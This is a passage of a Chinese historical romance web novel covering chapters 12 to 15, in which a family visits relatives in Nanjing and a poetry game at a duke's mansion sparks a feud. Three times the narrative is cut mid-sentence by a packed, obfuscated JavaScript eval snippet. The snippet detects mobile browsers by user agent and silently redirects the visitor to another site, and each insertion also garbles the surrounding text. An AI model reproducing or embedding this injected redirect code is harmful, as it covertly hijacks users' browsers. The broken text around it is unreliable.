陈家众人一一下了船，陈二老爷骑马，女眷坐轿。小丫鬟双喜和厨娘母女俩坐了一辆小骡车，跟着陈二老爷的男仆与掌鞭的车夫一道坐在车辕上。 卢家管家指使轿夫起轿，挑夫担上行李箱笼，他也骑上马，在前边引路，众人一径向江宁县卢家而去。 卢家大门洞开，卢姑父带着两个儿子候在门口。 陈家众人车马轿子一到，陈老太太撩开轿帘，卢姑父并两个儿子向老太太行了礼，命轿夫将女眷的轿子抬入府门，直至轿厅。 卢姑父与陈二老爷见了礼，将二老爷迎请进府。 陈家姑姑带着女儿，等在轿厅门口，轿子一落地，陈家姑姑忙不迭的掀开轿帘，叫了声“娘”，连忙伸手搀她出轿。 陈老太太从上到下，从左向右，将女儿看了又看。又一把抱住一旁的外孙女，“真儿都长这么高了，我记忆里还是个小姑娘，一眨眼，都长成亭亭玉立的少女了。” 哪个少女不爱听人夸她漂亮，卢慧真总是嫌弃自己长得太高，身形不够小巧玲珑。此刻听到外祖母夸她亭亭玉立，很是开心。 陈婉紃下了轿子，很是自然地站在三小姐淑绘身边，笑盈盈地看着。 三小姐淑绘翻了个白眼。 “哎呀，看我，这么大的人了还掉眼泪，”陈姑姑擦干净眼睛，看向淑绘、婉紃，眼睛一亮，“绘儿、紃儿出落得更漂亮了。” “姑姑。” 两人一起福身行礼。 “三表姐、四表姐。” “表妹。” 表姐妹们互相见礼。 “娘，你们又是坐船，又是坐轿，累坏了吧。走，先到屋子里歇歇。” 众人走入二门，曲曲折折地过了几进院子，进了一个小小的跨院。 跨院里正房三间，陈设整洁，众人进去坐了。 卢家丫鬟递上浸湿的帕子，端上温水，陈家祖孙擦手洗脸，梳了头，换上一身干净衣裳。 喝了茶，略略休息片刻，容色瞧着比刚下轿时好多了。 陈家姑姑又带着众人走了一段路，进了一处大了许多的院子。 “娘，这是我们的住处。”陈姑姑将陈老太太迎进厅里，“知道我请你老来，其他房的妯娌们要来见礼，今儿你老方便见她们吗？” 卢家是大族，子孙昌盛，卢姑父兄弟四人，卢家老太爷还在世，兄弟们没有分家，住在一起。 “快请，快请。”陈老太太连忙说。 陈家姑姑对着身边丫鬟使了个眼色，丫鬟走了出去。不多时，卢家其他房的太太，或带着女儿，或带着儿媳，热闹闹地进来了。 太太、奶奶、姑娘们，将一明两暗三间厅堂都坐满了。 珠围翠绕，笑语喧腾。 好容易应酬完，一一将客人送出院们，陈姑姑让人端点心上来，陈老太太连连摇手，“不忙，琳娘，我先歇歇。” 见自家母亲、侄女确是累坏了，陈姑姑连忙将她们送入东套间，“这是真儿的卧房，娘，绘儿、紃儿，你们先在这屋里歇一歇。” 陈老太太脱了见客的衣衫，半躺在床上闭目养神。 卢慧真带着两个表姐去了外间，“三表姐、四表姐，有一个贵妃榻，有一个藤圈椅，你们看……” 看出她为难，陈婉紃抚着脸颊笑说：“表妹不忙，我先坐在小凳子上揉揉脸，脸有些僵了。” 三小姐淑绘噗嗤一声笑出声，卢慧真也忍不住哈哈大笑。 这一笑，扫掉了表姐妹之间的疏离客气，三小姐淑绘歪在了贵妃榻上，“表妹，你别见怪，你四表姐就是爱促狭。” 卢慧真连连摇头，“我们家人多，光我同辈的姐姐妹妹、嫂子弟妇都有十多个。每次来了客人，行完礼，我也觉着笑得脸都僵了。” 三人又笑了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“九妹，画的什么，在自家姐姐面前还要藏。”卢八小姐在卢慧真咯吱窝一挠，卢慧真怕痒，卢八小姐趁着她躲痒，把画拿到了手里。 “九妹，原来你在画仕女图呀。”卢八小姐格格的笑个不住，“得是纤弱婀娜的美人，才能入仕女画哟。九妹妹，你更适合画山水。” 卢慧真最怕别人说她高壮，说她不好看，偏偏她这个八堂姐总爱有意无意戳她的痛处。她又羞又愤，脸颊火一样烫。 “表妹就是美人呀，”陈婉紃握住卢慧真的手，笑吟吟地说，“你们看，表妹的鼻子好看，眼睛好看，耳朵好看，嘴巴好看，尤其是皮肤，肌丰如玉，肤凝似雪……” “哎呀，表姐。”卢慧真被夸的不好意思，捂脸娇嗔。 陈婉紃笑望着卢八小姐，“卢家姐姐，你说是不是。” 卢八小姐肤色不如卢慧真白皙，她在卢家众姐妹中自负美貌，常逗引得姐妹们羡慕嫉妒。可在陈婉紃面前，她心慌气短，失了自信，一向伶牙俐齿也变得拙笨起来，只能假笑几声。 “小孩子们斗嘴，咱们进去了，倒让她们害臊。”屋外，陈老太太带着陈姑姑悄悄离开。 走出一段距离，陈姑姑开口，“娘，紃儿这么好的孩子，她的亲事定要仔细挑选。” 陈老太太心中一动，若为紃儿挑一门好亲事，打消归德府高家联姻的念头，眼下难处自然就解了。 “琳娘，你在南京簪缨大族中交游广阔，你这个姑姑多操操心。” “娘，放心吧。” 13. 第13章 南京作为本朝留都，六部、都察院、国子监等一整套衙门都保留了下来，与北京合称两京。 但是帝国的最高权力——皇帝，以及权力中枢内阁，都在北京。与北京的六部等衙门手握重权不同，南京各衙门多为虚衔，空有地位，没有实权。 在留都南京真正算得上握有实权的只有三人，文臣是南京参赞机务兵部尚书、内臣是南京守备太监，武臣是提督南京军务勋臣。 本朝大臣以军功受封公、侯、伯三等爵位，并世袭罔替的，后世子孙封袭爵位的被称为勋臣。 与前朝不同，本朝“非社稷军功”不得封公、侯、伯，以及“文臣不许封爵邑，惟有武功者不在令”。 虽然承平日久，外戚甚至佞幸冒滥得爵的不少，但能充任提督南京军务及五军都督府的勋臣，大都是太祖、太宗两朝时凭军功授爵的勋贵后裔。 其中，因太祖晚年大肆屠戮勋贵，开国功臣仅余几家，大都是太宗朝封的靖难功臣。 如今受命提督南京军务的勋臣是卫国公邓辉祖。 “卫国公的夫人，娘家乃淮安府山阳县名门赵家，真儿的祖母娘家也是赵家，两家还是五服内的亲族。论起来，赵夫人叫真儿的祖母姑姑。真儿祖母在世时，三节两寿，赵夫人都亲自登门送节寿礼。” 陈姑姑手中拿着卫国公府送来的大红请帖，向自家母亲讲解两家的渊源，“真儿祖母在世时，有个怪癖，她老人家膝下儿孙众多，单孙女都有十多个。她老人家既不是一碗水端平，也不是凭着喜好单宠哪个，而是一段时间挑一个来宠，过一段时间另挑一个来宠。但凡宠爱到哪一个，那是捧到手里怕掉了、含在嘴里怕化了，宠到天上，合府都得供着。等厌了这个，另挑一个来宠时，看都不多看厌了的一眼。” 也就是在自家亲娘面前，陈姑姑才敢说去世婆母那让人爱不得恼不得的怪癖，“也是巧了，赵夫人每次登门，大都是轮到真儿受宠。真儿小时候生得白嫩嫩、圆滚滚的，赵夫人生的都是儿子，没有女儿，见了她稀罕得不得了。” “真儿祖母去世后，赵夫人登门的次数少了，但她喜欢真儿，常常接真儿过去国公府陪她。” “这次也是来接真儿的吗？”陈老太太问道。 “这次倒不单单接真儿，”陈姑姑笑着说，“赵夫人爱热闹，偏她膝下没个女儿。她这次要办赏荷宴，城中与国公府交好的人家，家里有及笄未嫁女孩的，她都下了帖子。” “卢家几个女孩儿那天都过去，”陈姑姑柔声提议，“娘，让绘儿和紃儿也过去赏赏花，玩一玩吧。” 陈老太太叹了口气，“赵夫人怕是醉翁之意不在酒。你是知道的，你二哥不愿意将女儿嫁入高门豪族。” “娘，你老猜得对，赵夫人确是有相看的意思。”陈姑姑劝说，“却不是为国公府的公子们，公府大公子、二公子都已娶妻，三公子才十五岁，比真儿还小几个月。听真儿她爹说，赵夫人娘家的几个年少侄儿，有的进书院求学，有的入国子监读书，似乎都还未娶妻。山阳赵家，也是读书人家。” 陈老太太心动了，“不管成不成，让紃儿去看看，权当散散心。” …… 卫国公府乃开国功臣，与国同体。尤其是这代卫国公，于一众勋贵国戚中显得颇能干，极受皇帝看重。世代积累，富贵至极。 国公府大花园，引了一股活水，造了一个荷花池。池中央建了一座重檐六角观景亭，取名鉴碧亭。坐在亭中，四周池面种满荷花，大片大片翠绿的荷叶，盛放于千叶之上的红莲白荷开得高高下下，嫩蕊凝珠，盈盈欲滴。 好一个碧润芳香的清凉世界。 亭子柱子与柱子之间，连有坐凳楣子，陈婉紃拣了一处不太显眼的地方坐着赏花。 卫国公夫人果然是大手笔，邀了十多位城里缙绅家的姑娘，亭里、亭外，钗光鬓影，笑语盈盈。 除了自家堂姐、表妹，以及卢八小姐，其他姑娘，陈婉紃都不认识。 自家表妹一来就让赵夫人身边的大丫鬟请走了，卢八小姐说这池中有锦鲤，引逗着堂姐淑绘出了凉亭去喂鱼了。 陈婉紃想到她不会游泳，便不肯去。 旁的姑娘，都是南京城里的，本城大族，盘根错节，彼此都熟识。熟识的、亲近的，三三两两地凑在一起聊天说笑。 陈婉紃自个倒不觉得受到冷落，颇为自得其乐。 “夫人来了。” 只听得环佩叮当，在大大小小一群丫鬟的簇拥下，卫国公夫人沿着曲水长廊，向着鉴碧亭走来。 众位小姐，全都回到亭子里，站起身向赵夫人行礼问安。 “好孩子们，”赵夫人拍拍这个肩头，抚抚那个脊背，满目慈霭，“快坐下。” 亭子里已摆放好两列几案，国公府丫鬟们引着一众小姐，按照位次一一坐下。 每人面前的案上，都摆着点心、瓜果，甚至还一人一壶……酒？ 陈婉紃看了又看，不敢确信。 直到听到主位上卫国公夫人，说要玩一个行酒令的小游戏，陈婉紃确定了壶中是酒。 “今儿咱们玩个飞花令，”赵夫人笑着说玩法，“用你们常念的《唐诗》和《千家诗》里的诗句，故意说错一个字。然后击鼓传花，鼓声停，传到谁手里，谁对出另一句诗，要求这句诗里必须得有说错的那个字。” “我来举一个例子，”赵夫人曼声吟诵，“清泉石上照，我问你，明明是流，为何说照？真儿，你来对。” 十多双眼睛都盯向了卢慧真，她忙站起身，小脸红红，对了一句，“日照香炉生紫烟。” 赵夫人拍手，“看，这就对上了，简单吧。咱们玩这个酒令，不是让你们赌才情，是为了斗快乐。第一句问令从左向右按次序轮转，第二句对令，击鼓传花，点到谁谁来对。对不出的，罚酒一杯。” 虽说只是取乐，但亭子里一众姑娘们，个个都是书香宦门之后，心性儿一个比一个傲，哪能接受落败。 再看主位左侧，一个头缠红帕，箭袖短衣，腰缠绸巾的丫鬟，手持鼓槌，只等一声令下，就敲响令鼓。 纵然赵夫人再说的轻松，这架势，由不得姑娘们不紧张。 霎时，全都打叠起精神，个个斗志昂扬。 望着主位上笑呵呵的赵夫人，陈婉紃在心里给她竖了个大拇指，让一众花娇柳弱的闺阁千金，你拼我斗，高！ “好。兰澄，好孩子，从你开始。” 左侧第一个少女，起身向赵夫人行了个福礼，“是，姑母。” 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405882|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是赵夫人的娘家亲侄女，赵兰澄。 “两个黄鹂唱翠柳，我问你，明明是‘鸣’字，为何说‘唱’？”赵兰澄拍手道。 “咚、咚、咚”击鼓的丫鬟背对着众人，挥动鼓槌。 用来击鼓传花的“花”是一个红毡球，在姑娘们手中飞快滚动。 忽然鼓声停了。 毡球留在了一个穿淡粉衫子的姑娘手里。 淡粉衫子的姑娘有些紧张，站起身向赵夫人行礼时动作幅度有些大。 “刘姑娘，不要慌，慢慢说。” 刘姑娘深深吸了口气，嗓音有些不稳，“隔江犹唱后庭花。” “好，好。”赵夫人鼓掌。 赵兰澄与刘姑娘对着福了福，两人坐下，刘姑娘的胸口还在急剧起伏。 大家都很紧张呀，陈婉紃还在看别人，左手第二位姑娘已起身说完了，“疑是天上霜，我问你，明明是‘地’，为何说‘天’？” 鼓声停时，毡球留在了陈家三小姐淑绘手中。 陈婉紃与三堂姐挨着坐，就在淑绘的下首，看得出自家堂姐很紧张。 淑绘站了一会儿，终于颤抖着声音对上，“一行白鹭上青天。” 虽然用的时间久了一些，总算是对上了。 看着自家堂姐如释重负地坐下，陈婉紃也为她庆幸。 声声鼓声中，轮到陈婉紃起令了，她起身行礼，吟道：“长安云边多丽人，我问你，明明是‘水’，为什么说‘云’？” 鼓声停，拿着毡球的恰是赵兰澄。 “美人如花隔云端。” 主位上坐得时间久了，颇有些意兴阑珊的赵夫人，精神猛地一振。她的嫡亲侄女赵兰澄，是赵家小一辈女孩中最出色的，美而慧。而另一个……似乎是陈家的姑娘，与兰澄一比，难分伯仲。 赵夫人最喜欢清丽可人的少女了。 “丽人、美人，我看你们恰是一双佳人。”赵夫人拍掌大笑，吩咐贴身丫鬟，“去取一双玉佩，给兰澄和陈家姑娘一人一只。” 丫鬟应声退下。 一众姑娘们齐齐看向陈婉紃，小声互相打听，刹那间，原本大多人不认识的陈婉紃，成了座中最出风头的姑娘。 谢过赵夫人，陈婉紃坐下，落在她身上的目光有些刺人。 一轮结束，丫鬟贴在赵夫人耳边不知轻轻说了什么，赵夫人脸上笑容滞了滞，旋即恢复正常，笑着离开了鉴碧亭。 赵夫人一走，一些第一轮勉强对上，生怕第二轮对不上，要喝酒甚至丢人现眼的姑娘，长长松了口气，找了借口离开几案。 三小姐淑绘也想离席。 “阳湖陈家，世代书香，家中女孩，号称‘扫眉才子’，陈三小姐，不要自谦。”有人拿话堵住淑绘。 说话的人，两眼直愣愣盯着淑绘，目光满是恶意。 陈婉紃看向说话的人，她似乎姓冯，陈家号称“扫眉才子”的是大堂姐文缇。大堂姐嫁人逝后，陈家再也不对外宣扬自家女孩的才学。 大堂姐嫁的那家，她记得也姓冯。 陈婉紃不信这是巧合。 一尸两命死在冯家的是陈家大小姐文缇，陈家才是苦主。她们还没有发作，冯家的人倒主动寻衅了！ 岂有此理！ 14. 第14章 眼见气氛不对，留在几案中的姑娘，又有两三个不愿惹事的，也找了借口离席了。 亭中几案上，只剩下了九位姑娘。 淑绘、婉紃两姐妹，卢慧真、卢八小姐两姐妹，赵兰澄赵姑娘，冯家姑娘，以及另外三位不时看冯姑娘眼色的姑娘。 鼓声再次响起，与卫国公夫人在座时以游戏取乐为主的气氛截然不同，此时亭中充满了火药味。 冯家姑娘与另外三位唯她马首是瞻的姑娘，四个人合伙挤兑淑绘，手里的毡球，或传得飞快，或故意磨磨蹭蹭，想尽办法让毡球停在淑绘手里。 淑绘在她们咄咄逼人的恶意围堵针对下，心态崩塌，脑中一片空白，一句诗句都对不出，不得不喝酒。 陈家的姑娘，除了逢年过节，略沾一沾唇，平日几乎不喝酒。几本酒水下肚，即便卫国公府给姑娘们的是甜酒，毫无酒量可言的淑绘也受不了，脸颊火一般的红。 陈婉紃急了，不能再让她喝了。 “给我，把毡球给我。”婉紃小声提醒堂姐，“球一到你手里，马上给我，一秒都不要耽搁。” 淑绘喝多了酒，口齿有些不清，“你……你行吗？” 婉紃坚定点头。 击鼓传花的游戏继续，只要陈婉紃抓到毡球，哪怕一半在淑绘手里，一半在她手里，她都算作是她的，从容对出诗句。 冯家姑娘脸色阴沉，斥责陈婉紃不守规矩。 “冯小姐，”出乎意料，赵兰澄竟然冷笑开口，“原也没说不许这样，为了公平，你也可以代你的好姐妹。” 赵兰澄是卫国公夫人的嫡亲侄女，冯小姐脸色阵红阵白一阵变幻，到底不敢得罪她。 在卫国公夫人举办的赏花宴上，联手针对陈淑绘，冯小姐知道自己的行为会让卫国公夫人不喜。 可是，她忍不住，这次陈家人下手太狠了，她太恨了。 “赵姑娘既然开口了，我们听你的。”冯小姐心里恨恨，嘴上只能认了。 陈婉紃望向赵兰澄，目光中充满了感激，无言地互相凝视中，赵兰澄先害羞了，转过了脸。 冯小姐奈何不了赵兰澄，愈加怨愤陈家姐妹，为了更快击溃陈婉紃，她念诗、对诗速度极快，想以此打乱陈婉紃的节奏。 不想，她快，陈婉紃更快，到了最后，仿若疾风骤雨，不留一点思考空间。 双方杀红了眼，除了陈婉紃、冯小姐，以及赵兰澄，没有受罚，滴酒未沾。连卢慧真、卢八小姐都将自个几案上的一壶酒喝光了。 卢慧真是帮自家表姐受牵累。 卢八小姐却是为了给冯小姐助拳。 “姑娘们，真的不能再喝了。一个游戏而已，取乐罢了，可不能动气。”卫国公夫人迟迟未归，她身边的管事嬷嬷，却不能再放任不管。这些姑娘都是缙绅望族家的千金，哪个都不能在国公府出事，管事嬷嬷上前含笑柔声劝说。 冯小姐犹自愤愤地瞪着陈婉紃。 陈婉紃也让她激出了真火。 两人都不肯善罢甘休。 “冯小姐，陈姑娘，”赵兰澄再一次开口，“既然飞花诗令分不出胜负，不如换个令，如何？” “换什么令？”冯小姐问。 “《四书》令，可行？”赵兰澄说道。 冯小姐痛快点头，“行。” 冯家乃是科举世家，冯小姐的祖父曾是内阁首辅，可惜老人家前几年仙逝了。他老人家若还在世，陈家区区一个新进进士，敢如此弹劾冯家。 冯小姐本人亦是出名的才女，行《四书》令，她没有问题，定能让陈家死丫头丢尽脸面。 陈婉紃自然也同意，“有劳赵姑娘。” “两位姑娘都同意，那我来说行令要求，要从《四书》取相连二句，分别取二句的首字，凑成一字。我先说示例，‘小德川流，大德敦化。’，分别取小字和大字，凑成一个字‘尖’。①”赵兰澄说完，等待她们和令。 “小德川流，大德敦化。”出自《中庸》，这句话完整的上下文是“仲尼祖述尧舜，宪章文武；上律天时，下袭水土。辟如天地之无不持载，无不覆帱；辟如四时之错行，如日月之代明。万物并育而不相害，道并行而不相悖。小德川流，大德敦化。此天地之所以为大也。”② 陈婉紃迅速在脑海中搜索出这句话的出处，并暗暗叫好。 赵姑娘这一句《四书》令，真是匠心独运。一时之间，还真想不出合适的对令。 冯小姐眉头越皱越深，显然，她也不能迅速对上。 赵兰澄含笑看着她们，笃定她们对不上。这是她家四哥出的令，四哥是他们这一辈才华最为出众的。他出的这个令，其他兄弟姊妹都没有对上。 “有了。”陈婉紃忽然灿然一笑。 赵兰澄紧紧盯住陈婉紃，“陈姑娘，你对出来了吗，是什么。” 陈婉紃不紧不慢，曼声吟诵，“‘如保赤子，心诚求之。’分别取如字与心字，凑成一字恕。③” 赵兰澄怔住了，好大一会儿，她低低吟诵，“‘如保赤子，心诚求之。’，出自《大学》。这句话的前后文是，《康诰》曰：‘如保赤子。’心诚求之，虽不中不远矣。” “妙，妙呀！”赵兰澄不由得拍手，看陈婉紃的眼神越来越亮，她家四哥的令，让陈姑娘对上了。 提前离席避祸的几位姑娘，人虽在亭外，却时时关注着亭中的情况。先是见到她们闹红了眼，几案上醉趴了好几个。后来赵姑娘提议改行《四书》令，她们也打听了例令。自个在心里做了腹稿，都是对不上的。 现在听得那位陈家姑娘，竟然对上了，一时都顾不上躲事，激动地跑进亭子，再三确认，“对上了吗，怎么对得？” “对上了，你看，这是刚誊写出来的，是这两句。” “真是，真是巧妙。” 这些姑娘们围着赵兰澄叽叽喳喳地询问，朝陈婉紃投去或好奇、或羡慕、或惊艳的目光。陈婉紃只微笑着略略点头。 “哎，冯小姐呢？”有人忽然喊了一声，将众人的注意力转到了冯小姐身上。 “冯家姐姐肯定也能对出来，说不得还更巧妙呢。” “对，冯家姐姐你快说呀。” 与冯小姐有些交情的姑娘，为冯小姐争面子。 冯小姐咬紧牙关，脸色白中泛灰，她对不上。她只觉得所有人都在鄙夷她，都在看她的笑话。 等了许久，始终没有等到冯小姐开口，众人意识到她对不出了。 亭中慢慢的静了下来，安静地能听到冯小姐颤抖时身上钗环碰撞的叮当声。 冯小姐满目怨毒地盯着陈婉紃。 触到她的眼神，众人不由自主地打了个寒噤，没人敢劝。 “这是怎么了？”卫国公夫人得到管事嬷嬷的禀报，只得暂时饶过捅了篓子的三公子，急急赶回鉴碧亭，“我的千金大小姐，好好的凳子椅子不坐，怎么都站着？要是磕了碰了累着了，让我怎么向你们的母亲交代哟。” 卫国公夫人且笑且谑，一众闺秀，也都笑了，行过礼，连忙拣着位置坐了。 “姑姑。”赵兰澄伏在卫国公夫人耳边，悄声说了亭中争斗的来龙去脉。 卫国公夫人点了点头。 “‘如保赤子，心诚求之。’分别取如字与心字，凑成一字恕。这个令对得好呀。”卫国公夫人看向陈婉紃，面带赞许，“尤其是这个‘恕’字，多好呀。” “子曰：‘其恕乎！己所不欲勿施于人。”卫国公夫人走到冯小姐面前，一面轻轻拍了拍她的肩头，一面笑着问，“冯家丫头，你说是不是？” 亭中一众缙绅官宦家的闺秀，哪个不知道论语中的这句话，哪个还能不懂卫国公夫人己所不欲勿施于人这句话的暗示。 这场争端，本就是冯小姐先挑起来的，率先寻衅的是她，才华不如人，丢了人现了眼，哭得梨花带雨的也是她。 本来一场宾主尽欢的宴会，生生让她毁了，保不齐连她们都要落不是，现在她倒一副受了天大委屈的样子。亭中姑娘们嘴上不说，心里都对冯小姐生出了不满。 冯小姐望着卫国公夫人的笑容，像是被重重掴了一耳光，嘴唇哆嗦，“是……” 她不敢说“不是”，卫国公夫人眼下还给她留了几分脸面。她要是不识时务，不肯顺着梯子下来，卫国公夫人再开口说话就不好听了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405883|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好了，瞧瞧，把眼泪擦干净了多漂亮。”卫国公夫人“安抚”了冯小姐，给每位姑娘都备了一份厚厚的回礼，安排府上的管事嬷嬷，一一送回府中。 陈婉紃却不得不留在卫国公府。 表妹卢慧真和三堂姐淑绘醉得太狠，怎么叫都叫不醒。卫国公夫人心疼卢慧真，让丫鬟用软轿将她们抬到她的院子，收拾了个套间，让她们睡下。 陈婉紃守着堂姐、表妹。 正房那边突然响起卫国公夫人大声叱责的骂声，伴着拍桌子和打板子的声音，陈婉紃大吃一惊。 是什么人能将赵夫人气成这样？ “表姑娘，您快劝劝夫人吧，夫人要打死三爷了。”丫鬟慌慌张张在走廊上拦住赵兰澄，求赵兰澄去救表弟——卫国公府三公子。 隔着一道湘妃竹帘，陈婉紃听明白了，原来赏花宴上赵夫人离席，就是因为这个三公子惹出了祸。 “……咱们府里有个珍禽馆，养着些沉香鸟、珍珠鸟、相思鸟、芙蓉鸟，以及一些会说话的八哥、鹩哥、金背大红、五彩鹦鹉之类的。三爷一时好奇，想让那些会学人说话的八哥、鹦鹉学学放炮的声音，在珍禽馆里放了一串鞭炮，不成想，吓死了几只鸟儿。夫人得知了很是生气，要重重惩戒三公子。” 丫鬟说得藏头露尾，赵兰澄却不是个容易被忽悠的。 “是谁向夫人告状的？可是珍禽馆里的人？” 丫鬟回答：“不是，是……丁姨娘。” “珍禽馆是府里的还是丁姨娘的？” 丫鬟再答：“原本是府里的，人人都可进去。自从丁姨娘进了府，丁姨娘尤爱养鸟，说她养的鸟胆子小、见了生人害怕，国公爷就不许旁人再进珍禽馆了。就是夫人，这一两年都不再去珍禽馆了。” 赵兰澄重重一叹，“三表弟性情刚烈，恩怨分明，眼里不揉沙子。他这性子，姑姑惩戒他是为他好。” 卫国公夫人是亲娘，亲娘亲自动手惩戒了，卫国公总不好再动手。 走廊上，赵兰澄还在和丫鬟说话，丁姨娘屋子里的丫鬟急头白脸地跑进来，哭着磕头，“夫人，姨娘刚刚晕倒了，求夫人着人请个大夫来瞧瞧。” 卫国公夫人带着一众婆子、丫鬟，浩浩荡荡地去了丁姨娘院子。 赵兰澄跺脚，“快给前院哥哥他们送信，表弟这顿痛打逃不掉了。” 说着，也带着丫鬟走了。 正院里一时安静下来。 陈婉紃颇觉尴尬，竟然撞上了卫国公府内宅纷争，一时不好出去。见堂姐、表妹还在睡，她搬了个小兀子，坐在外间，想等见着赵兰澄回来，悄悄请她送她们回卢家。 今天天色还没亮，卢家的丫鬟就叫醒她们起床梳洗打扮。起得早，鉴碧亭里又动脑子、耗心血，阳光透过湘妃竹帘一晒，等着等着，陈婉紃不禁发起困来，打起了盹。 直到湘妃竹帘“哗啦”一声掀开，陈婉紃猛地睁开眼睛。 “是你破了我家四表哥的令。” 一个头上巾帽散乱，身上衣衫沾着尘土的锦衣少年，站在陈婉紃面前，兴致勃勃地看着她。 陈婉紃一愣。 “三表弟，不得无礼。”紧随在少年身后的青年男子，儒巾蓝衫，士子装扮，将少年拽了出去。 “陈姑娘，失礼了，还请勿怪。”那文雅男子，隔着湘妃竹帘，弯腰一揖，深深道歉。 “四表哥。好了，好了，我错了，我接着去罚跪。”那锦衣少年嘟囔着跟着青年男子走开了。 赵兰澄气喘吁吁跑进来，连连道歉，陈婉紃才知原来那锦衣少年就是卫国公府的三公子，那文雅士子是赵家四爷，亦是赵兰澄的胞兄。 “吓坏了吧，真是太对不住了。” 陈婉紃摇摇头，怕倒是没怎么怕。只是她这辈子在阳湖陈家做了十多年的书香闺秀，来往的亲戚都是读书人家，头一次见识军功起家的武臣家的公子。 好个桀骜任性的贵胄公子哥儿。 归德府高家亦是军功起家，世袭罔替的指挥使。所谓元勋世胄，卫国公府是元勋，归德府高家就是世胄。 老天保佑，与高家的亲事一定要黄了。 15. 第15章 当陈婉紃三人由卫国公府派的人送回卢家，已是黄昏时分。 “娘，冯家的人欺负我们。”卢慧真虽已清醒，但脑袋还是昏沉沉的，她一边嚷着头疼一边向自家亲娘告状。 “祖母，冯家的人实在可恶。”三小姐陈淑绘也向祖母陈老太太说道。 两人你一言、我一语，将冯家小姐主动寻衅的恶行恶状说得活灵活现，听得陈老太太、陈姑姑满面怒容。 “得亏四表姐，我们才赢了，冯家那小蹄子脸都丢尽了，偷鸡不成蚀把米，活该。” 陈姑姑心疼地抱住女儿，给她揉头，“我见你八堂姐早早回来，你们却一直不回来，就猜是不是出事了，可恼你八堂姐连个话都说不明白。” “娘，八堂姐她帮着冯家的人，一块欺负我们。” 陈姑姑脸色不好看，“八丫头……枉费我心疼她在后娘手里讨生活，逢年逢节给她的礼物比旁人都丰厚，竟是个帮外不帮亲、不识好歹的。” 好一通安抚，慧真、淑绘身子还难受，陈老太太让她们喝了碗酸汤，早早上床歇了。 陈婉紃一直留在祖母身边，不肯离开。 直到堂姐、表妹都走了，丫鬟婆子也都跟着去照应，厅里只有老太太、陈姑姑和她三个人。 “祖母、姑姑，今儿情况不对，”陈婉紃蹙眉，“冯家那丫头，在我们面前，满腔怨恨，不像是为了大堂姐的陈年恩怨。当年，她才多大呀。” 大堂姐文缇死在冯家，已经十多年了。 陈老太太眉宇深锁，从衣袖里掏出一条佛珠手串，拨了一遍珠子，吩咐陈姑姑，“琳娘，你让人去前边看看，你二哥回来了没有，要是回来了，带他过来。” 陈二老爷很快就来了，卢姑父也跟着一道过来。 陈婉紃向父亲、姑父行了礼，垂手站在老太太身侧，将冯家人挑衅的话以及当时的神态举止，又说了一遍。 “可恨，”陈二老爷气得一拳捶在桌子上，“当年我们没有打上冯家，他们竟敢先来寻衅。” 卢姑父却拈须沉吟。 虽在南京国子监任监丞，卢姑父却不是进士出身，仅仅是个举人。卢姑父这人在南京国子监混得风生水起，国子监祭酒换了好几任，他一个举人，国子监监丞的位置雷打不动。 这全赖卢姑父交游广阔，与南京城里的富贵场中的人，都能攀上交情。 “冯家近日出了一桩事，”卢姑父一字一顿，说得极为慎重，“常州府武进县知县章秉开前些日子被锦衣卫拿到京城了，这事二兄知道吧。” 陈二老爷点头，“章秉开其人，风评极差，掠取民财，堪称敲骨吸髓。” 虽然提起锦衣卫，士大夫们就毛骨悚然，但以章秉开其人行事，下了锦衣卫诏狱，陈二老爷竟大有额手称庆之感。 “章秉开是冯家的女婿，二兄也知道吧。”卢姑父压低声音，“章秉开进了锦衣卫狱，不知怎得，京城竟传唱起了一首童谣，说冯家老太爷当了近二十年阁臣，家里堆金积玉、良田万顷，富贵逼人，财埒诸侯。锦衣卫那些人见财如苍蝇见了血一般，哪有不往上扑的，章秉开这一案把冯家也扯了进去。” “也就是冯家老太爷当年的门生故吏还在，替冯家挡着，没有闹到明面上，南京城里除了消息极灵通的，还大都不知道。” 陈二老爷真想大喊一声老天有眼，到底怕大剌剌说出来嫌不厚道，“凡事有果必有因，冯家有此劫难，自有他家因果。他家小辈为何向我陈家寻衅。” 卢姑父心中有一个猜测，但这个猜测太可怕了，他不敢明说。 “二兄，章秉开事发很是蹊跷。据说武进县乡下有一家大财主，祖上也是乡宦。只是后来子孙读书不行，科考不第，身上全都没了功名，但家财极为丰厚。去年，那里出了大盗，章秉开拿了盗匪，不知怎的，那大盗竟指认那家大财主是窝主。章秉开也不详查，径自发签着差人将那大财主押进狱中。” “夹棍一敲、桚（zan，三音）子一夹、鞭子一抽、嘴巴一打，一个全套打下来，由不得那财主不招认。” 卢姑父的声音低低的，听着阴森森的，陈婉紃觉得身上汗毛直竖。 